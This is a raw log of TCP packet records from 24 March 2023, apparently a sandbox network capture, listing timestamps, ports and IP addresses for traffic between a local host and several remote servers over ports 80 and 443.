Mar 24, 2023 01:26:54.215331078 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.215382099 CET	49705	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.224668980 CET	49703	80	192.168.2.4	211.171.233.129
Mar 24, 2023 01:26:54.271682024 CET	80	49705	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.287512064 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.346779108 CET	80	49706	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.346900940 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.347172976 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.347219944 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.403021097 CET	80	49706	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.491791010 CET	80	49703	211.171.233.129	192.168.2.4
Mar 24, 2023 01:26:54.533046007 CET	80	49706	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.534082890 CET	80	49706	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.534274101 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.540735960 CET	49706	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:54.596678019 CET	80	49706	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:54.831285954 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:55.086971998 CET	80	49707	211.119.84.112	192.168.2.4
Mar 24, 2023 01:26:55.087132931 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:55.106782913 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:55.106841087 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:55.362248898 CET	80	49707	211.119.84.112	192.168.2.4
Mar 24, 2023 01:26:56.393605947 CET	80	49707	211.119.84.112	192.168.2.4
Mar 24, 2023 01:26:56.393692970 CET	80	49707	211.119.84.112	192.168.2.4
Mar 24, 2023 01:26:56.393815041 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:56.441915035 CET	49707	80	192.168.2.4	211.119.84.112
Mar 24, 2023 01:26:56.653435946 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:56.653522015 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:56.653615952 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:56.698309898 CET	80	49707	211.119.84.112	192.168.2.4
Mar 24, 2023 01:26:56.700653076 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:56.700716972 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:56.767332077 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:56.767482996 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:56.772002935 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:56.772033930 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:56.772545099 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:56.818686008 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.017667055 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.017729044 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.044373989 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.044435978 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.044449091 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.044532061 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.044605017 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.044641972 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.069130898 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069274902 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.069320917 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069600105 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069654942 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069684982 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.069709063 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069735050 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.069981098 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.069994926 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.070122004 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.070142984 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.095196962 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.095343113 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.095365047 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096112013 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096126080 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096230030 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096271038 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096292019 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096297026 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096368074 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096376896 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096406937 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096432924 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096546888 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096635103 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096661091 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096682072 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096760035 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096770048 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096834898 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.096913099 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.096923113 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121071100 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121225119 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121272087 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.121309996 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121334076 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.121515989 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121629953 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.121649981 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121802092 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.121896029 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.121916056 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122145891 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122237921 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.122256041 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122407913 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122486115 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.122498035 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122740984 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.122833967 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.122847080 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123043060 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123126030 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.123135090 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123297930 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123375893 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.123388052 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123634100 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123749018 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.123760939 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.123924971 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.124022961 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.124037981 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.124250889 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.124355078 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.124368906 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.149631977 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.149785995 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.149905920 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.149905920 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.149957895 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150041103 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150156021 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.150177002 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150355101 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150459051 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.150475979 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150711060 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.150829077 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.150846958 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151030064 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151132107 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.151149035 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151273966 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151376963 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.151392937 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151582003 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151686907 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.151701927 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151808977 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.151922941 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.151937962 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152123928 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152235031 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.152252913 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152339935 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152451992 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.152467012 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152677059 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152687073 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.152704000 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152771950 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.152931929 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.152986050 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153001070 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.153028011 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153228045 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.153244019 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153270006 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.153321028 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153419971 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.153476000 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153490067 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.153517008 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153601885 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.153681040 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.178603888 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.178724051 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.178752899 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.178921938 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.178968906 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.178985119 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.178988934 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.179029942 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.179151058 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.179208994 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.179291010 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.179301977 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.179728031 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.179821968 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.179832935 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180166006 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180263996 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.180275917 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180361986 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180430889 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.180440903 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180649042 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180728912 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.180742979 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.180943012 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181080103 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.181093931 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181169987 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181268930 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.181282043 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181543112 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181610107 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.181621075 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181755066 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.181816101 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.181829929 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182005882 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182065010 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.182080984 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182173014 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182229996 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.182240963 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182629108 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.182713985 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.182727098 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204215050 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204365969 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.204405069 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204514980 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204621077 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.204659939 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204760075 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.204859018 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.204879045 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.205163956 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.205266953 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.205287933 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.208506107 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.208597898 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.208622932 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.208705902 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.208802938 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.208822966 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209065914 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209145069 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.209165096 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209402084 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209491968 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.209512949 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209732056 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209836960 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.209856033 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.209996939 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.210068941 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.210088015 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.210325003 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.210412979 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.210437059 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.210669994 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.210762024 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.210781097 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211021900 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211131096 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.211149931 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211270094 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211349010 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.211385965 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211579084 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211662054 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.211692095 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211904049 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.211994886 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.212019920 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228516102 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228630066 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.228665113 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228681087 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228763103 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.228790045 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228816032 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228863955 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.228884935 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228924036 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.228964090 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.228979111 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.228997946 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.229048014 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.284815073 CET	49708	443	192.168.2.4	95.111.233.125
Mar 24, 2023 01:26:57.284881115 CET	443	49708	95.111.233.125	192.168.2.4
Mar 24, 2023 01:26:57.542164087 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.597953081 CET	80	49709	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.599442959 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.653778076 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.653876066 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.709264040 CET	80	49709	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.818248034 CET	80	49709	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.818367004 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.818384886 CET	80	49709	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.818460941 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.819835901 CET	49709	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.866868019 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.876724958 CET	80	49709	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.922986031 CET	80	49710	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:57.926052094 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.926357985 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.926398993 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:57.988109112 CET	80	49710	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.081973076 CET	80	49710	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.083354950 CET	80	49710	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.083513021 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.083627939 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.083627939 CET	49710	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.141777039 CET	80	49710	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.146259069 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.201761961 CET	80	49711	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.202069044 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.202346087 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.202409983 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.257965088 CET	80	49711	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.397203922 CET	80	49711	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.397274971 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.397320986 CET	80	49711	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.397511005 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.397592068 CET	49711	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.438729048 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.452982903 CET	80	49711	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.495505095 CET	80	49712	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.498469114 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.498719931 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.498859882 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.554111958 CET	80	49712	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.735472918 CET	80	49712	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.735759020 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.736563921 CET	80	49712	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.736664057 CET	49712	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.773154020 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.791620016 CET	80	49712	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.829143047 CET	80	49713	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:58.829292059 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.829700947 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.829782009 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:58.885392904 CET	80	49713	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.023071051 CET	80	49713	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.023152113 CET	80	49713	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.023233891 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.023313999 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.024112940 CET	49713	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.079077005 CET	80	49713	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.090724945 CET	49714	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.149161100 CET	80	49714	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.149312019 CET	49714	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.149574995 CET	49714	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.149610043 CET	49714	80	192.168.2.4	109.98.58.98
Mar 24, 2023 01:26:59.206737041 CET	80	49714	109.98.58.98	192.168.2.4
Mar 24, 2023 01:26:59.295490026 CET	80	49714	109.98.58.98	192.168.2.4
